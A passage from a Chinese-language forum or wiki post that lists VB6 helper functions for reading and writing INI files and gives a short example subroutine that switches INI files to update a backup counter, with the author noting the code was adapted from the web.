          'DelIniSec(ByVal SectionName As String)) 清除部  
          'SetIniN(ByVal SectionName As String, ByVal KeyWord As String, ByVal ValInt As Long) 写入数  
          'GetIniN(ByVal SectionName As String, ByVal KeyWord As String, ByVal DefValue As Long)读取数  
          'SetIniS (ByVal SectionName As String, ByVal KeyWord As String, ByVal ValStr As String) 写入字符  
          'GetIniS(ByVal SectionName As String, ByVal KeyWord As String, ByVal ValStr As String) 读取字符 

调用例子如下: 

Sub RiniN() 
Dim Initemp As String 
    Initemp = iniFileName '暂存原来的Ini文件名 
    iniFileName = App.EXEName '写入到另外一个Ini文件,App.EXEName是你的程序的名程 
    If GetIniN("lstBackup", "backupnumber", 0) < lstBackUp.ListCount Then 
        '这里的第三个参数“0”表示在没有找到指定的键值时返回的缺省值为“0” 
        SetIniN "lstBackup", "backupnumber", lstBackUp.ListCount 
        '...... 
    End If 
    iniFileName = Initemp '继续使用原来的Ini文件 
End Sub 
  
'你在你的电脑子上搜索*.ini就看一下,最上面是部,每一个key后面是一个对应的值  

再次重申,这个Ini读写的例子是网上找来改写的,我只是为方便大家使用。算不得我的发明。(我本来不想写VB6的东西---我本来就不曾认真学过VB6的了,实在不明白为什么要传播一个不完整的例程这么久),如果有任何不当的地方,就“权且”吧。 
}}}